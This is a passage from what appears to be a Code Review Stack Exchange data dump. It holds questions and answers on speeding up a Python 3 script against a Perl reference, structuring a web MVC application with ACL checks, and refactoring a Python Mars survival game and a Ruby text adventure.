DATA[k1][k2]+=value\n</code></pre>\n\n<p>Replacing this with <code>defaultdict</code> or <code>counter</code> harmed performance. I rewrote it as</p>\n\n<pre><code> try:\n row = DATA[k1]\n except KeyError:\n row = DATA[k1] = {}\n try:\n row[k2] += value\n except KeyError:\n row[k2] = value\n</code></pre>\n\n<p>Which gave me a speed boost because it avoids looking up the same values in the dictionary more then once.</p>\n\n<p>With those changes I was able to get within one second of the speed of the perl script. But I was still slower. My semi-educated guess is that perl wins due to builtin support for sorting the keys of a hash during iteration. In python the sorting is done in an seperate function and may not be able to take advantage of the same things the perl version can.</p>\n\n<p><strong>FURTHER PERFORMANCE</strong></p>\n\n<p>Put everything in a function. Python optimizes functions more then other code outside of functions.</p>\n\n<p>Replace</p>\n\n<pre><code>for key, value in sorted(data.items()):\n</code></pre>\n\n<p>with</p>\n\n<pre><code>for key in sorted(data):\n value = data[key]\n</code></pre>\n\n<p>The first looks nicer, but it requires python to sort a list of tuples rather then a list of strings which ends up more expensive.</p>\n\n<p>Replace</p>\n\n<pre><code>sys.stdout.write(' ({}: {})'.format(k1, math.trunc(v)))\n</code></pre>\n\n<p>With</p>\n\n<pre><code>sys.stdout.write(''.join([' (', k1, ': ', str(math.trunc(v)), ')']))\n</code></pre>\n\n<p>String formatting is expensive since python has to parse through the string every time to find the formatting positions.</p>\n\n<p>You can add</p>\n\n<pre><code>write = sys.stdout.write\n</code></pre>\n\n<p>And then use <code>write</code> instead of <code>sys.stdout.write</code> for a bit of a speed boost. See my tweaked version here: <a href=\"http://pastebin.com/wmaR2Bmx\" rel=\"nofollow\">http://pastebin.com/wmaR2Bmx</a>. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T20:53:53.557",
"Id": "16447",
"Score": "0",
"body": "I implemented some of your suggestions into a simpleprocessor2.py (see repository). There is a performance boost but we are far from the perl script:\n(on my laptop) / \nperl script: 17 seconds /\npython3 old script: 56 seconds /\npython3 new script: 43 seconds\nAnyway, thanks for your answer."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T20:56:35.580",
"Id": "16448",
"Score": "0",
"body": "Perl doesn't sort hash on input, nor during interation on a separate thread. The sort really happen here (sort keys %DATA). In fact you can provide a custom function to change defaut sort at this precise moment."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T21:22:43.037",
"Id": "16449",
"Score": "0",
"body": "On my laptop, perl simple parser takes 3 seconds to only parse the data set, while the python script takes 21 seconds. If python could parse in 3 seconds, it will takes 18 seconds less for parsing, i.e., 43-18=25 seconds for the remaining of the work as a processor. The perl processor runs in 17 seconds. It means that with a better regexp library, there will be only 8 seconds to the perl script for the python script."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T21:40:07.477",
"Id": "16450",
"Score": "0",
"body": "@Fade, yes the sort happened there, but you've missed my point. `sorted(data)` in python copies all the keys of the dictionary into a list and then sorts that. I'm guessing that perl does something more clever with its sort implementation that avoids some of the work python does copying stuff around. I've edited the post to include some additional stuff thats still killing your performance in your new version."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T21:48:09.480",
"Id": "16451",
"Score": "0",
"body": "@Fade, my profiling shows that even in the just parsing python script you are spending most of the time producing output. String formating + print function are expensive. So you aren't really measuring python's parsing abilities there. Even after my optimizations, the largest chunk is still dealing with the data dump at the end. If I take sorting out of both algorithms, they are both faster but perl is still in the lead. So my guess about key sorting being faster in perl was incorrect."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T07:31:53.967",
"Id": "16480",
"Score": "0",
"body": "Thanks for your input Winston, I'm currently modifying your version so it produce a correct report (that means strictly identical to the perl reference) so it can be put in the suite."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T07:50:50.307",
"Id": "16481",
"Score": "0",
"body": "Here are the timings on my laptop: perl: 17 seconds, python3 (old): 54 seconds, python3 (optimized): 29 seconds. This was an impressive performance boost :)"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T17:31:43.263",
"Id": "10322",
"ParentId": "10297",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10322",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T22:04:37.087",
"Id": "10297",
"Score": "3",
"Tags": [
"python",
"performance",
"perl"
],
"Title": "Improving python3 processing speed (against a reference perl script)"
}
|
10297
|
<p>Well, the questions is a little bit broader, so I'll assume that the basics is already defined:</p>
<p><strong>Controller</strong></p>
<ol>
<li>FrontController</li>
<li>Controllers (plugin hooks, request/response object, view handler)</li>
</ol>
<p><strong>View</strong></p>
<ol>
<li>View (template, scripts, partials, helpers)</li>
</ol>
<p><strong>Model</strong></p>
<ol>
<li>Domain model objects</li>
<li>Domain model repository</li>
<li>Database abstraction layer</li>
</ol>
<p>Let me know if I missed something.</p>
<p>Assuming that the above is correct. Now the big question:</p>
<p><strong>Should controllers implement business logic?</strong></p>
<pre><code>// (an example in php)
class UsersController {
public function create() {
$user = new User();
$user->setName($this->getRequest()->getPost('name'));
// ...
}
}
</code></pre>
<p>The point is, the create action is deciding which information a user need to be created. Therefore, I'm assuming that it's business logic.</p>
<pre><code>// (an example in php just delegating the job to the repository)
class UsersController {
public function create() {
$this->userRepository->create($this->getRequest->getPost());
}
}
</code></pre>
<p>If we delegate the job to the repository, then I'm assuming that now the controller is just doing its job, no business logic in there.</p>
<p>Now the second question. Should repositories deal with create, edit and delete operations?</p>
<p>Finally, it will be common for repositories to populate associations and aggregations. So the <code>user repository</code> can also populate the <code>user object</code> with its <code>article</code> associations, for instance. In this case, should the repository call the <code>article</code> repository to do so?</p>
<p><strong>Now about the aspect oriented programming:</strong></p>
<p>We need to deal with <code>ACLs</code>. Whether a domain object or collection is accessible by the current <code>user</code> is determined by the <code>ACLs</code>.</p>
<p>Isn't it part of the model?</p>
<p>Should controller implement ACL's checks as a plugin hooked on the pre-dispatch or, since it's business logic, should our repositories know if its methods are accessible by the current user?</p>
<p><strong>Now what I achieved so far</strong></p>
<p>Well, I ended up with a <code>service layer</code> with protected methods like:</p>
<pre><code>class UsersService extends AbstractService {
protected function _create($data) {
$this->validate($data)
$this->userRepository->create($data);
}
}
</code></pre>
<p>and with a overloading (again in php, but in java for instance, we'd assume a proxy)</p>
<pre><code>class AbstractService {
public function __call($method, $args) {
// ACLs checks
// then call the protected method
}
}
</code></pre>
<p>My service layer is responsible to hold validations and ACLs checks.</p>
<p>So in the end:</p>
<pre><code>class UsersController {
public function create() {
$this->userService->create($this->getRequest->getPost());
}
}
</code></pre>
|
[] |
[
{
"body": "<blockquote>\n<p>Should controllers implement business logic?</p>\n</blockquote>\n<p>That depends on your design and style of doing things "your" MVC-way. As you're designing a framework you should probably allow both to keep the usage of the framework flexible.</p>\n<p>Taking a closer look on your code examples I'd say you're only shifting things around anyway. Why do you have a controller when you use it to access the request? Shouldn't the request lead into the controller call and the controller should not care at all about the request any longer? Just a counter question, if you want to make your framework strict for some reason, think about why.</p>\n<blockquote>\n<p>Now the second question. Should repositories deal with create, edit and delete operations?</p>\n</blockquote>\n<p>Normally that's within the domain of a repository, but whatever suits your design needs, a repository could be just a delegate to different create, edit and delete components as well. Application-wise it shouldn't make a difference whether or not, so probably do a risk analysis and then decide which part of the question you actually need to answer now or if you can solve this by just deciding now, and if the future shows that your design needs change, change your design.</p>\n<blockquote>\n<p>We need to deal with ACLs. Whether a domain object or collection is accessible by the current user is determined by the ACLs.</p>\n<p>Isn't it part of the model?</p>\n</blockquote>\n<p>Sure, it's part of the model, the <em>ACL Domain Model</em> (and explicitly not other models).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T12:36:51.780",
"Id": "10304",
"ParentId": "10303",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T11:59:53.247",
"Id": "10303",
"Score": "0",
"Tags": [
"c++",
"mvc"
],
"Title": "Best way to implement a web MVC application (language agnostic)"
}
|
10303
|
<p>Do you see any unneccessary code, or code that can be deleted in here? Its not finished...</p>
<pre><code> import random
import os
# Shortcut to clear the screen
c = 'clear'
# Info about the program
info = 'This game was developed in xCode, by Solomon Wise. He used Python 3.0.1 to build this awesome game'
os.system(c)
# Asks for input
namein = input("Enter your name: ")
os.system(c)
class Player:
# Stores player info
Name = namein
oxygen = 100
health = random.randint(50, 100)
defense = random.randint(50, 100)
# Randomizes the oxygen category
bonus = random.randint(-5 , 5)
Player.oxygen += bonus
# Welcome and info
print("Welcome to Five Days on Mars,", Player.Name)
print("You are stuck on Mars for five days, you must survive")
input("Press ENTER")
os.system(c)
# Lists player info
print("You start out with:")
print(Player.oxygen, "Oxygen")
print(Player.health, "Health")
print("And", Player.defense, "Defense")
input("Press ENTER")
os.system(c)
# Prints the info
print(info)
os.system("echo 'He also used the OS Module a lot'")
class StoreObj:
# Stores store info
name = ''
oxygen = 0
health = 0
defense = 0
price = 0
class OxygenTank(StoreObj):
# Stores info about the item Oxygen Tank
name = 'Oxygen Tank'
oxygen = random.randint(48, 52)
health = 15
defense = 1
price = 50
class Rover(StoreObj):
# Stores info about the item Rover
name = 'Rover'
oxygen = 0
health = 1
defense = random.randint(48, 52)
price = 30
class Apple(StoreObj):
# Stores info about the item Apple
name = 'Apple'
oxygen = 1
health = random.randint(28, 32)
defense = 2
price = 10
class Flower(StoreObj):
# Stores info about the item Flower
name = 'Flower'
oxygen = random.randint(10, 14)
health = 1
defense = 0
price = 5
class LaserGun(StoreObj):
# Stores info about the item Laser Gun
name = 'Laser Gun'
oxygen = random.randint(0, 15)
health = -1
defense = random.randint(90, 94)
price = 100
class Fish(StoreObj):
# Stores info about the item Fish
name = 'Fish'
oxygen = 0
health = random.randint(48, 52)
defense = 0
price = 50
def store():
global c
# List of items bought
listofitems = set()
# Provides a budget
budget = 100
os.system(c)
# Welcome Messages
print("Welcome to the store")
input("Press ENTER to view the price list")
os.system(c)
# Prints price list
print("Item Name: Price")
print(OxygenTank.name + ":", OxygenTank.price)
print(Rover.name + ":", Rover.price)
print(Apple.name + ":", Apple.price)
print(Flower.name + ":", Flower.price)
print(LaserGun.name + ":", LaserGun.price)
print(Fish.name + ":", Fish.price)
input("Press ENTER to continue")
os.system(c)
# Asks the user what the user would like to purchase
while budget > 0:
wtbuy = input("What would you like to purchase? You have a budget of " + str(budget) + ": ")
# Adds Oxygen Tank's attributes to the Player attributes
if wtbuy == 'oxygen tank' and budget >= OxygenTank.price:
print("You have purchased the Oxygen Tank")
budget -= OxygenTank.price
Player.oxygen += OxygenTank.oxygen
Player.health += OxygenTank.health
Player.defense += OxygenTank.defense
listofitems.add(OxygenTank.name)
print("Your budget is now", budget)
input("Press ENTER to continue shopping")
os.system(c)
# Adds Rover's attributes to the Player attributes
elif wtbuy == 'rover' and budget >= Rover.price:
os.system(c)
print("You have purchased the Rover")
budget -= Rover.price
Player.oxygen += Rover.oxygen
Player.health += Rover.health
Player.defense += Rover.defense
listofitems.add(Rover.name)
print("Your budget is now", budget)
input("Press ENTER to continue shopping")
os.system(c)
# Adds Apple's attributes to the Player attributes
elif wtbuy == 'apple' and budget >= Apple.price :
os.system(c)
print("You have purchased the Apple")
budget -= Apple.price
Player.oxygen += Apple.oxygen
Player.health += Apple.health
Player.defense += Apple.defense
listofitems.add(Apple.name)
print("Your budget is now", budget)
input("Press ENTER to continue shopping")
os.system(c)
# Adds Flower's attributes to the Player attributes
elif wtbuy == 'flower' and budget >= Flower.price:
os.system(c)
print("You have purchased the Flower")
budget -= Flower.price
Player.oxygen += Flower.oxygen
Player.health += Flower.health
Player.defense += Flower.defense
listofitems.add(Flower.name)
print("Your budget is now", budget)
input("Press ENTER to continue shopping")
os.system(c)
# Adds Laser Gun's attributes to the Player attributes
elif wtbuy == 'laser gun' and budget >= LaserGun.price:
os.system(c)
print("You have purchased the Laser Gun")
budget -= LaserGun.price
Player.oxygen += LaserGun.oxygen
Player.health += LaserGun.health
Player.defense += LaserGun.defense
listofitems.add(LaserGun.name)
print("Your budget is now", budget)
input("Press ENTER to continue shopping")
os.system(c)
# Adds Fish's attributes to the Player attributes
elif wtbuy == 'fish' and budget >= Fish.price:
os.system(c)
print("You have purchased the Fish")
budget -= Fish.price
Player.oxygen += Fish.oxygen
Player.health += Fish.health
Player.defense += Fish.defense
listofitems.add(Fish.name)
print("Your budget is now", budget)
input("Press ENTER to continue shopping")
os.system(c)
# Executes if the user input is invalid
elif wtbuy != 'fish' and wtbuy != 'laser gun' and wtbuy != 'flower' and wtbuy != 'apple' and wtbuy != 'rover' and wtbuy != 'oxygen tank':
os.system(c)
print("That's not an option, type 'item' to buy Item, not 'Item'.")
input("Press ENTER to continue shopping")
os.system(c)
# Executes if the user tries to buy something that costs more than his budget
else:
print("You don't have enough money to execute the transaction")
os.system(c)
# Executes if the user runs out of money
if budget == 0:
print("You have ran out of money!")
input("Press ENTER to view the items you bought")
os.system(c)
print("The items you bought are listed below")
# Prints items bought
for item in listofitems:
print(item)
# Prints new user attributes
input("Press ENTER to view your new attributes")
os.system(c)
print("Oxygen:", Player.oxygen)
print("Health:", Player.health)
print("Defense:", Player.defense)
input("Press ENTER to exit the store")
store()
def day():
# Counts the number of days
daycounter = 1
while Player.oxygen > 0 and Player.defense > 0 and Player.health > 0 and daycounter < 5:
global c
os.system(c)
# Day messages
print("This is day number", daycounter, "for you on mars")
print("You have to survive for five days")
print("Every day you must perform a task, your actions in this task will determine how long you will survive")
input("Press ENTER to continue")
# Attribute subtraction
os.system(c)
Player.oxygen -= 3
Player.defense -= 3
Player.health -= 3
# Wager messages
print("Every day you have a chance to wager some of your oxygen.")
print("The program algorithim will add a number between -'yourwager' and 'yourwager'")
wager = input("How much would you like to wager?: ")
# Executes if the user enters a valid number
try:
newag = 0 - int(wager)
endwag = random.randint(int(newag), int(wager))
Player.oxygen += endwag
os.system(c)
print("Your oxygen level is now", Player.oxygen)
print("It changed by...", endwag)
input("Press ENTER to continue")
# Executes if the user does not
except:
os.system(c)
print("That was not a valid value")
input("Press ENTER to continue:")
finally:
os.system(c)
tasknumber = random.randint(1, 5)
if tasknumber == 1:
explore()
elif tasknumber == 2:
alienattack()
elif tasknumber == 3:
lookforfood()
elif tasknumber == 4:
cleanarea()
else:
marsrocks()
day()
</code></pre>
|
[] |
[
{
"body": "<p>Some suggestions:</p>\n\n<ul>\n<li>I really don't like how you spread your classes all over the place. You should place them all near the top. This will force you to write constructors for at least some of them.</li>\n<li>As it stands, the attributes for your classes are class attributes. Meaning if you wanted to buy 2 Fishes, they will both have the same health. But if you wanted each Fish to have their own random health, you have to use <code>self.health = random.randint(48, 52)</code> in the Fish constructor instead of <code>health = random.randint(48, 52)</code> sitting in the class.</li>\n<li>You should use python's routines for printing to screen and reading input from user instead of using DOS commands and <code>system()</code>. For example,</li>\n</ul>\n\n<pre>\n def _write(s):\n sys.stdout.write(s)\n sys.stdout.flush()\n\n _write(\"How much would you like to wager?: \")\n wager = sys.stdin.readline()\n</pre>\n\n<ul>\n<li>You should read the responses to <a href=\"https://stackoverflow.com/questions/356161/python-coding-standards-best-practices\">Python Coding Standards Best Practices</a>.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T10:06:34.640",
"Id": "16979",
"Score": "0",
"body": "Also, there's that thing about using global variables."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T15:33:04.520",
"Id": "10308",
"ParentId": "10305",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "10308",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T13:06:07.550",
"Id": "10305",
"Score": "2",
"Tags": [
"python"
],
"Title": "Unneccessary Things to Delets"
}
|
10305
|
<p>I cannot understand how I can make two classes work together by passing variables between them.</p>
<p>During the last 5 days, I learned the basics of inheritance, singleton methods and eval methods. I even read about template methods, but since I have no programming background, I'm in no position to learn from other languages.</p>
<p>The only aim here is to learn how to make use of classes. The whole game is an <a href="http://ruby.learncodethehardway.org/book/ex43.html" rel="nofollow">exercise</a>.</p>
<p>The game has 5 classes: <code>Game</code>, <code>Creature</code>, <code>Weapon</code>, <code>Armor</code>, <code>Scene</code>.</p>
<p><code>Creature</code> class is used to produce the hero and several monsters (currently only a dragon is created).</p>
<p><code>Weapon</code> and <code>Armor</code> classes (with only name and power attributes) are there to produce equipment and while they may be joined as a single Equipment class with name, defense and attack attributes, currently this is not my concern.</p>
<p><code>Scene</code> class is there to produce several places/rooms, which is the main point of the exercise. The exercise clearly states "Use one class per room and give the classes names that fit their purpose." Therefore I made a class containing name, history and armor/weapon and monster attributes. The reason for name and history are clearly to be able to give an introduction when the player enters the scene.</p>
<p>The <code>armor</code>/<code>weapon</code> and <code>monster</code> attributes are required to make the player to encounter different armors, weapons to equip and different monsters to fight in different scenes. I tried to pass them as variables (arrays) to the scene class during initialize but couldn't succeed. The roots of this failure probably is the reason why I can't make the two classes work together.</p>
<p>I have to admit that I had a hard time to understand how to pass variables to/between methods in ruby, and this curse is following me in the classes, too.</p>
<p>So, as a last thing, you can see the horrible code in the choices method in <code>Scene</code> class. I cannot exactly explain what I was thinking while coding this. But the only good thing I have done is adding <code>self</code> to the <code>@city = Scene.new</code> step of the <code>Game.initialize()</code>, so that I can pass the game object to the city object. After that I got lost and need your help. </p>
<pre><code>#game.rb
class Game
attr_accessor :armor_list, :weapon_list, :equipment
def initialize()
#Game creates the city and mountain as two separate scenes
@city = Scene.new("City", "The city.", @cm, @ls, "", self)
@mountain = Scene.new("Mountain", "The mountain.", @em, @wh, @d, self)
#Game creates armor and weapon array-name-holders, I couldn't find another way to make the equipment-selection work
@a = Armor.new("armor_list", 0)
@w = Weapon.new("weapon_list", 0)
#Game creates weapons
@ss = Weapon.new("Short sword", 5)
@ls = Weapon.new("Long sword", 8)
@ts = Weapon.new("Two-Handed sword", 12)
@wh = Weapon.new("Warhammer", 10)
#Game creates armors
@la = Armor.new("Leather Armor", 5)
@cm = Armor.new("Chain Mail", 10)
@pm = Armor.new("Plate Mail", 15)
@em = Armor.new("Elven Chain Mail", 50)
#Game creates a hero and a dragon
@h = Creature.new(name = "You", level = 5)
@d = Creature.new(name = "Dragon", level = 12)
#The default equipment list to provide an arsenal. I wish to separate them and put 1 or 2 into each scene
@armor_list = [@a, @la, @cm, @pm, @em]
@weapon_list = [@w, @ss, @ls, @ts, @wh]
@equipment = []
end
def play()
intro()
end
# If I can find a way to pass arguments between scenes and game, I'm going to put a variable to change the starting point. Otherwise I know that both intro() and play() is useless.
def intro()
@city.intro()
end
end
class Creature
attr_accessor :name, :life, :armor, :weapon, :regen
def initialize(name, level)
#Attributes accoridng to level and dice
@name = name
@level = level
@equipment = {:armor => nil, :weapon => nil}
@armor = 0
@weapon = 0
#3.times rand(7) or 3*rand(7) doesn't create the effect, I tried rand(16)+3 but didn't like it.
@strength = rand(7) + rand(7) + rand(7)
@condition = rand(7) + rand(7) + rand(7)
@life = @level * (rand(8) + 1)
@power = @strength * (rand(4) + 1)
@regen = @condition
end
def select_equipment(equipment)
introduce_self()
selection(equipment)
choice = gets.chomp.to_i
#@a and @w help to get the name of the array, armor or weapon.
if equipment[0].name == "armor_list"
wear_armor(equipment[choice])
elsif equipment[0].name == "weapon_list"
wear_weapon(equipment[choice])
else
raise ArgumentError, "Should be armor_list or weapon_list"
end
equipment.delete_at(choice)
end
def introduce_self()
if @equipment[:armor] == nil
puts "You wear no armor!"
else
puts "You wear #{@equipment[:armor]}."
end
if @equipment[:weapon] == nil
puts "You carry no weapon!"
else
puts "You carry #{@equipment[:weapon]}."
end
end
def selection(equipment)
puts "You wanna some equipment?"
for i in (1..equipment.length-1) do
puts "#{i}. #{equipment[i].name}"
i += 1
end
end
def wear_armor(armor)
@armor = armor.power
@equipment[:armor] = armor.name
end
def wear_weapon(weapon)
@weapon = weapon.power
@equipment[:weapon] = weapon.name
end
def battle(opp1, opp2)
#a basic round system depending on even and uneven numbers
i = 1
while opp1.life > 0 && opp2.life > 0
if i % 2 == 0
attack(opp1, opp2)
elsif i % 2 == 1
attack(opp2, opp1)
else
#just learning to raise errors, not into rescue, yet
raise ArgumentError, "The battle is over!"
end
i += 1
round_result(opp1, opp2)
end
end
def round_result(opp1, opp2)
puts "Hit points:"
puts "#{opp1.name}: #{opp1.life}"
puts "#{opp2.name}: #{opp2.life}"
end
def attack(attacker, defender)
#this code below is just to prevent stuff like "hit with -27 points of damage"
possible_attack = @power + @weapon - defender.armor
if possible_attack > 0
attack = possible_attack
else
attack = 0
end
defender.life -= attack
puts "#{attacker.name} hit #{defender.name} with #{attack} points of damage!"
if defender.life <= 0
puts "...and killed!"
defender.life = "Dead as cold stone!"
round_result(attacker, defender)
#game exits if one of the creatures die
Process.exit(0)
else
defender.life += defender.regen
puts "#{defender.name} regenerates #{defender.regen} points of life!"
end
end
end
#separate classes for weapons and armors, probably unnecessary but still learning
class Weapon
attr_reader :name, :power
def initialize(name, power)
@name = name
@power = power
end
end
class Armor
attr_reader :name, :power
def initialize(name, power)
@name = name
@power = power
end
end
# I want each scene have its own weapon or armor (scattered on the ground, maybe, according to the story..) but cannot achieve that with armors, weapon variables. The same thing applies to monsters. I would like to have for example rats and thieves in the city, but bats and a dragon in the mountain. However couldn't achieve this exactly. So far I'm only successful in passing the game object to the scene object as the last variable and I think that's a good start.
class Scene
attr_reader :name, :history, :armors, :weapons, :monsters
def initialize(name, history, armor_list, weapon_list, monsters, game)
@name = name
@history = history
@armor_list ||= []
@weapon_list ||= []
@monsters ||= []
@game = game
end
def intro()
puts "You are in the " + @name + "."
puts @history
choices()
end
def choices()
puts <<-CHOICES
What would you like to do here?
1. Look for armor
2. Look for weapons
3. Look for monsters to fight
4. Go to another place!
CHOICES
choice = gets.chomp
#this is where things go really bad! instance_variable_get saves the battle but as for the equipment selection,
# as soon as I make a choice, it throws this error:
# "game.rb:193:in 'choices': #<Armor:0x429720 @name="....> is not a symbol (TypeError)"
# and I don't think that further addition of : or @ is needed here.
#The solution should be much simpler but couldn't find it on the web.
if choice == "1" @game.send(@game.instance_variable_get(:@h).select_equipment(@game.instance_variable_get(:@armor_list)))
elsif choice == "2" @game.send(@game.instance_variable_get(:@h).select_equipment(@game.instance_variable_get(:@weapon_list)))
elsif choice == "3" @game.send(@game.instance_variable_get(:@h).battle(@game.instance_variable_get(:@h), @game.instance_variable_get(:@d)))
elsif choice == "4"
puts "bad choice, since I am not ready yet!"
else
puts "Can't you read?"
end
end
#this is just to show the player a list of equipment found in the scene.
def equipment_list()
@armor_list[1..@armor_list.length-1].each {|a| @equipment.push(a.name) }
@weapon_list[1..@weapon_list.length-1].each {|w| @equipment.push(w.name) }
puts "You see some #{@room_equipment.join(", ")} lying on the ground."
end
end
game = Game.new()
game.play()
</code></pre>
|
[] |
[
{
"body": "<p>Don't use <code>instance_variable_get</code> unless you really need it. And here you don't need it.</p>\n\n<p>When you need the content of an attribute outside the class, then define a getter:</p>\n\n<pre><code>class Game\n attr_accessor :armor_list, :weapon_list, :equipment\n #additional getter\n attr_reader :h, :d\n #....continue\n</code></pre>\n\n<p>and then in approx line 200:</p>\n\n<pre><code>#this is where things go really bad! instance_variable_get saves the battle but as for the equipment selection,\n# as soon as I make a choice, it throws this error:\n# \"game.rb:193:in 'choices': #<Armor:0x429720 @name=\"....> is not a symbol (TypeError)\" \n# and I don't think that further addition of : or @ is needed here.\n#The solution should be much simpler but couldn't find it on the web.\nif choice == \"1\" \n @game.h.select_equipment(@game.armor_list)\nelsif choice == \"2\" \n @game.h.select_equipment(@game.weapon_list)\nelsif choice == \"3\" \n @game.h.battle(@game.h, @game.d)\nelsif choice == \"4\"\n puts \"bad choice, since I am not ready yet!\"\nelse\n puts \"Can't you read?\"\nend\n</code></pre>\n\n<p>I wouldn't use <code>h</code> and <code>d</code>. Use <code>hero</code> and <code>dragon</code> (and you have to replace <code>@h</code> and <code>@d</code> in your program).</p>\n\n<pre><code> #The hero (me)\n attr_reader :hero\n #The dragon\n attr_reader :dragon\n</code></pre>\n\n<hr>\n\n<p>If you have a problem, could you post a play sequence?</p>\n\n<hr>\n\n<p>in approx line 90 you have:</p>\n\n<pre><code>def selection(equipment)\n puts \"You wanna some equipment?\"\n for i in (1..equipment.length-1) do\n puts \"#{i}. #{equipment[i].name}\"\n i += 1\n end\nend \n</code></pre>\n\n<p>Normally you should use:</p>\n\n<pre><code>def selection(equipment)\n puts \"You wanna some equipment?\"\n equipment[1..-1].each_with_index do |equip, i|\n puts \"#{i}. #{equip.name}\"\n end\nend \n</code></pre>\n\n<p>The <code>[1..-1]</code> is needed to skip the first element (<code>\"armor_list\"</code>). It is not a good idea to mix description and content inside one array. (Especially if your <code>@equipment</code> is a hash) I haven't analyzed your code in depth, but I think you should replace</p>\n\n<pre><code>def select_equipment(equipment)\n</code></pre>\n\n<p>with</p>\n\n<pre><code>def select_equipment(equipmentname, equipment)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T20:26:57.303",
"Id": "16446",
"Score": "0",
"body": "Thank you for your reply: \"When you need the content of an attribute outside the class\" I wish I could see this when I read about getter and setter methods before."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T09:15:35.047",
"Id": "10315",
"ParentId": "10312",
"Score": "2"
}
},
{
"body": "<p>The problem is more about the organization of the game. Normally you would not want to have two classes tightly coupled to each other. </p>\n\n<p>Also location of some methods are not correct. For example battle method in Creature should not be there. Or you should not need two parameters for that method. </p>\n\n<p>You are suffering from the responsibilities of objects at the moment. I would suggest to rethink this.</p>\n\n<p>For example you can decide that \"Battle\" is not something creature is responsible but game. </p>\n\n<p>I came up with this code which also requires much refactoring. I tried not to change your code too much.</p>\n\n<pre><code>#game.rb\nclass World\n attr_accessor :armor_list, :weapon_list, :monsters, :scenes\n def initialize()\n @weapon_list = {\n short: {name: \"Short sword\", power: 5 },\n long: {name: \"Long sword\", power: 8 },\n two_handed: {name: \"Two-Handed sword\", power: 12 },\n warhammer: {name: \"Warhammer sword\", power: 10 } \n }\n\n @armor_list = {\n leather: {name: \"Leather Armor\", power: 5 },\n chain: {name: \"Chain Mail\", power: 10 },\n plate: {name: \"Plate Mail\", power: 15 },\n elven: {name: \"Elven Chain Mail\", power: 50 } \n }\n\n @monsters = { \n rat: {name: \"Rat\", level: 1 },\n thief: {name: \"Thief\", level: 50 },\n dragon: {name: \"Dragon\", level: 12 }\n }\n\n @scenes = [\n { name: \"City\", history: \"The city.\", weapons: [@weapon_list[:long]], armors: [@armor_list[:chain]], monsters: [@monsters[:thief], @monsters[:rat]] },\n { name: \"Mountain\", history: \"The mountain.\", weapons: [@weapon_list[:warhammer]], armors: [@armor_list[:chain]], monsters: [@monsters[:dragon]] }\n ]\n end\nend \n\nclass Game\n def initialize\n @player = Creature.new name: \"You\", level: 5\n @world = World.new\n end \n\n def play\n @current_scene = Scene.new(@world.scenes.first)\n @current_scene.intro\n\n while @player.is_alive?\n self.show_choices\n end\n end\n\n def show_choices\n puts <<-CHOICES\n What would you like to do here?\n 1. Look for armor\n 2. Look for weapons\n 3. Look for monsters to fight\n 4. Go to another place!\n CHOICES\n choice = gets.chomp\n\n case choice\n when \"1\"\n self.look_for_armor\n when \"2\"\n self.look_for_weapons\n when \"3\"\n self.look_for_monsters\n when \"4\"\n puts \"bad choice, since I am not ready yet!\" \n else\n puts \"Can't you read?\"\n exit\n end\n end\n\n def look_for_monsters\n monster = @current_scene.monsters.first\n battle [@player, monster]\n end \n\n def look_for_armor\n armor = select_equipment @current_scene.armors\n return if armor.nil?\n @player.wear_armor(@current_scene.armor_picked(armor)) \n end \n\n def look_for_weapons\n weapon = select_equipment @current_scene.weapons\n return if weapon.nil?\n @player.wear_weapon(@current_scene.weapon_picked(weapon))\n end\n\n def select_equipment(equipment)\n @player.introduce_self\n\n puts \"You wanna some equipment?\"\n equipment.each_with_index do |item, i|\n puts \"#{i+1}. #{item.name}\"\n end\n\n gets.chomp.to_i - 1\n end \n\n def battle(opponents) \n attack_turn = 0\n while opponents.all?(&:is_alive?)\n attacker = opponents[attack_turn]\n defender = opponents[(attack_turn + 1) % 2]\n\n attack = attacker.attack(defender)\n defender.defend(attack)\n puts \"#{attacker.name} hit #{defender.name} with #{attack} points of damage!\"\n puts \"#{defender.name} regenerates #{defender.regen} points of life!\" if defender.is_alive?\n\n puts \"Hit points:\"\n opponents.each { |o| puts \"#{o.name}: #{o.life}\" }\n\n attack_turn = (attack_turn + 1) % 2\n end\n\n winner = opponents.first(&:is_alive?)\n puts winner.name \n end\nend\n\nclass Scene \n attr_reader :monsters, :armors, :weapons\n\n def initialize(setup)\n @name = setup[:name]\n @history = setup[:history]\n @armors = setup[:armors].map { |x| Armor.new x }\n @weapons = setup[:weapons].map { |x| Weapon.new x }\n @monsters = setup[:monsters].map { |x| Creature.new x }\n end\n\n def intro()\n puts \"You are in the \" + @name + \".\"\n puts @history\n equipment_list\n end\n\n def armor_picked(index)\n @armors.delete_at(index)\n end\n\n def weapon_picked(index)\n @weapons.delete_at(index)\n end\n\n def equipment_list()\n (@armors + @weapons).each {|a| puts \"You see some #{a.name} lying on the ground.\" } \n end\nend\n\nclass Creature\n attr_reader :name, :life, :weapon, :armor\n def initialize(config)\n @name = config[:name]\n @level = 